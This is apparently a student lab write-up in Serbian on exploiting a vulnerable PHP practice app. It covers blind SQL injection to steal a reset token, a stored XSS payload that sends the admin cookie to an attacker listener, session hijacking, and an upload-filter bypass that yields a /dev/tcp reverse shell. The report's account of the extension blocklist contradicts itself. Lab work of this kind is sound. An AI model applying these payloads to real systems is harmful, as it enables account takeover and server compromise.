

Vežbe 5

Statička analiza koda

Za statičku analizu koda je iskorišćena biblioteka semgrep. Pronađeni su sledeći problemi u kodu:

1. Insecure Deserialization (admin/import_user.php)

U fajlu admin/import_user.php pronađena je upotreba funkcije unserialize() nad korisničkim ulazom. Ova praksa predstavlja rizik od deserijalizacije nepouzdatih podataka, što može dovesti do izvršavanja proizvoljnog koda na serveru (Remote Code Execution).

- CWE: CWE-502 (Deserialization of Untrusted Data)
- OWASP: A08 - Insecure Deserialization / Software Integrity Failures
- Uticaj: potencijalno izvršavanje koda na serveru
- Pouzdanost detekcije: niska (LOW)

2. SQL Injection (forgotusername.php)

U fajlu forgotusername.php uočeno da se korisnički unos direktno ubacuje u SQL upit bez korišćenja prepared statements. Ovo otvara mogućnost za SQL injection napad, kojim napadač može manipulirati bazom podataka ili izvući osetljive informacije.

- CWE: CWE-89 (SQL Injection)
- OWASP: A03 - Injection
- Uticaj: srednji (MEDIUM), potencijalno curenje ili izmena podataka
- Verovatnoća: visoka (HIGH)

Login Bypass

Napad je izveden u tri koraka. Prvo je pozvan endpoint /forgotpassword.php sa korisničkim imenom user1 kako bi aplikacija generisala reset token i upisala ga u bazu. Nakon toga, iskorišćena je SQL Injection ranjivost u endpointu /forgotusername.php, gde se korisnički unos direktno konkatenira u SQL upit bez ikakve validacije. Injektovanjem payload-a koji sadrži SUBSTR(token, i, 1) = 'c' u polje korisničkog imena, skript je iterativno proveravao tačnost svakog karaktera tokena na osnovu toga da li odgovor sadrži "User exists!". Ovim postupkom, karakter po karakter kroz svih 32 pozicije, ceo token je rekonstruisan i zatim upotrebljen na /resetpassword.php za postavljanje nove lozinke, čime je napad završen.

Alternativni pristup bio bi ekstrakcija hash-a lozinke direktno iz tabele users, što je moguće analognim payload-om oblika SUBSTR(password, i, 1) = 'c' nad heksadecimalnim alfabetom. Međutim, ovaj metod ima nekoliko praktičnih nedostataka. Hash je jednosmerna kriptografska funkcija, što znači da se iz njega ne može direktno dobiti originalna lozinka, za to je potrebno koristiti eksterne baze poznatih hash lozinka parova ili pokrenuti napad rečnikom. Takve baze ne pokrivaju sve moguće lozinke, a lozinke koje su dovoljno kompleksne ili retke neće biti pronađene. Napad putem reset tokena je zato direktniji i pouzdaniji, token ima kratak životni vek i ne zahteva nikakvo dekriptovanje, već se može odmah iskoristiti.

Admin Privilege Escalation (PrivEsc)

Nakon uspešnog preuzimanja kontrole nad nalogom običnog korisnika (user1), sledeći korak u lancu napada bio je podizanje privilegija na nivo administratora. Analizom koda u fajlu profile.php, uočeno je da se opis korisnika (description) prilikom ažuriranja profila skladišti u bazu podataka i kasnije prikazuje na administratorskoj početnoj strani bez adekvatne sanitizacije ili enkodiranja izlaza.

Ovaj propust omogućava **Stored Cross-Site Scripting (XSS)** napad.

1. Stored XSS (profile.php / index.php)

Aplikacija ne filtrira HTML i JavaScript karaktere u polju za opis, što omogućava napadaču da ubaci maliciozni skript koji će se izvršiti u browseru svakog korisnika (u ovom slučaju administratora) koji pregleda listu korisnika.

- **CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
- **OWASP:** A03:2021 - Injection
- **Uticaj:** Visok (HIGH), omogućava krađu sesije administratora.

2. Hijacking administratorske sesije

Napad je izveden automatizovanim Python skriptom koji je, koristeći prethodno kompromitovane kredencijale za user1, postavio sledeći payload u polje opisa: `<script>fetch('http://host.docker.internal:8001/?cookie=')(http://host.docker.internal:8001/?cookie=' + document.cookie);</script>`

Kada administrator pristupi početnoj stranici (što u laboratorijskom okruženju simulira automatizovani proces/bot), njegov browser izvršava ubačeni JavaScript. Skript šalje administratorski identifikator sesije (PHPSESSID) na eksterni server pod kontrolom napadača (u ovom slučaju Python HTTP server na portu 8001).

Rezultat i potvrda napada

Uspešnim presretanjem zahteva dobijen je validan administratorski kolačić: `PHPSESSID=1e69db657f2d05ab3f5c623287e4a99a`

Ručnim umetanjem ovog tokena u browser (Session Hijacking), potvrđen je neovlašćeni pristup administratorskom panelu. Ovim je napadač stekao privilegije potrebne za pristup osetljivim funkcijama sistema, poput uvoza korisnika (admin/import_user.php), čime je pripremljen teren za finalnu fazu napada - Remote Code Execution (RCE) putem nesigurne deserijalizacije.

Remote Code Execution (RCE)

Nakon što je administratorski kolačić uspešno presretnut, stekli su se uslovi za izvođenje finalne faze napada - Remote Code Execution. Cilj ove faze bio je uploadovanje PHP shell payloada na server i njegovo aktiviranje radi dobijanja interaktivnog pristupa operativnom sistemu.

Analiza ranjivosti - upload_image.php

Endpoint `admin/upload_image.php` sadrži tri bezbednosne provere pri uploadu fajla, međutim sve tri su neadekvatno implementirane i mogu se zaobići. Analiza koda otkrila je sledeće propuste:

1. Provera `getimagesize()` - zaobilaženje GIF headerom

Server poziva `getimagesize()` kako bi utvrdio da li je uploadovani fajl validna slika. Ova funkcija analizira samo prvih nekoliko bajtova fajla (magic bytes). GIF format se prepoznaje po potpisu `GIF87a` na početku fajla. Kreiranjem payload fajla koji počinje sa ovim headerom, a zatim sadrži PHP kod, ova provera je uspešno prevarena - server je fajl prepoznao kao validnu GIF sliku.

2. Blacklista ekstenzija - propust sa `.phar` ekstenzijom

Server blokira skup poznatih PHP ekstenzija (`php`, `phtml`, `phar`...). Međutim, ekstenzija `.phar` nije uključena u ovu listu, a PHP server izvršava `.phar` fajlove identično kao i `.php` fajlove. Ovo je klasičan propust pristupa zasnovanih na crnoj listi - uvek postoji ekstenzija koja nije pokrivena.

3. Provera MIME tipa - klijent kontroliše vrednost

Server proverava MIME tip fajla čitanjem vrednosti `$_FILES['image']['type']`. Međutim, ovu vrednost u potpunosti kontroliše klijent - ona se šalje kao deo HTTP multipart zahteva. Exploit skript eksplicitno postavlja vrednost na `image/gif`, čime ova provera trivijalno prolazi bez ikakve stvarne validacije sadržaja fajla.

Tok napada

Napad je izveden automatizovanim Python skriptom u četiri koraka:

- Kreiran je payload fajl sa nasumičnim imenom u formatu `[random].phar`. Sadržaj fajla počinje GIF magic bytesom `GIF87a`, a zatim sadrži PHP kod koji otvara reverse shell ka napadačevoj mašini koristeći `/dev/tcp` Linux mehanizam.
- Payload je uploadovan na `admin/upload_image.php` koristeći presretnuti administratorski kolačić. Sve tri serverske provere su zaobiđene na gore opisani način.
- Na napadačevoj mašini otvoren je TCP socket listener na portu 9999. Payload je triggerovan slanjem GET zahteva na `/images/[naziv_fajla].phar`, što je nateralo PHP server da interpretira i izvrši uploadovani fajl.
- PHP kod na serveru otvorio je TCP vezu ka napadačevoj mašini koristeći Linux `/dev/tcp` interfejs, prosleđujući bash input i output kroz mrežnu konekciju. Python skript je prihvatio konekciju i uspostavio interaktivni shell.

Rezultat i potvrda napada

Uspešnim izvođenjem napada dobijen je interaktivni bash shell na serveru. Potvrda uspešnog napada je dobijanje prompta:

www-data@0c916ac622e3:/var/www/html/images\$

Napadač je stekao pristup serveru sa privilegijama korisnika www-data i mogao je slobodno izvršavati komande na serveru, čitati fajlove, pregledati konfiguracije i dalje lateralno kretati se kroz sistem. Kompletni exploit chain je uspešno izveden u potpunosti automatizovanim Python skriptom bez ikakve ručne intervencije.